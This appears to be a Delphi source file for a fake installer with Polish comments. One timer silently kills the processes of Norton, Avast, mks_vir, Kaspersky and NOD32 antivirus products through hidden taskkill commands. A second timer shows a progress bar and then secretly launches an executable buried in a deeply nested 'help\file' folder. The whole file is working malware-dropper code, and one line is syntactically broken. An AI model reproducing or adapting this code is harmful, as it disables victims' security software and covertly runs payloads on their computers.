Tj moj program
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,shellapi, ExtCtrls, StdCtrls, ComCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
ProgressBar1: TProgressBar;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Timer3: TTimer;
Panel1: TPanel;
Label1: TLabel;
Label6: TLabel;
Image1: TImage;
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
private
{ Private declarations }
public
a,b:integer;
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
*timer1.Enabled:=true; *wlacza timera
//norton
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVAPSVC.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAV.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVAP.NAVAPSVC.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVAPWł2.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVDX.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVENGNAVEX15.NAVLUł2.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVLUł2.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVNT.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVSTUB.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVW32.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVWNT.EXE /T' , nil, SW_HIDE);
//avast
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM ashWebSv.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM ashMailSv.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM ashDisp.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM ashServ.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM ashUpdSv.exe /T' , nil, SW_HIDE);
//mks
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM mks.exe /T' , nil, SW_HIDE);
//kaspersky
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM kav.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM kavsend.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM kavsvc.exe /T' , nil, SW_HIDE);
//nod
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM Nod32krn.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM Nod32kui.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NOD32.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NOD32CC.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NOD32M2.EXE /T' , nil, SW_HIDE);
end;
procedure TForm1.Timer2Timer(Sender: TObject);
var
sciezka,sciezka2:string;
begin
a:=a+15;
progressbar1.Position:=a;
sciezka:=ExtractFilePath(Application.ExeName)+'help\file\file\file\file\file\file\plik.exe' ; //sciazka do pliku
if progressbar1.Position=50 then begin
ShellExecute(Handle, 'open', PChar(sciezka), '/F /IM /T' ,nil, SW_HIDE); //otwiera plik
timer2.Enabled:=false; //wylaczanie timera
form1.Close; //zakonczenie programu instalka.exe
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
timer2.Enabled:=true;
end;
procedure TForm1.Timer3Timer(Sender: TObject);
begin
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
//application.Run;
end;
end.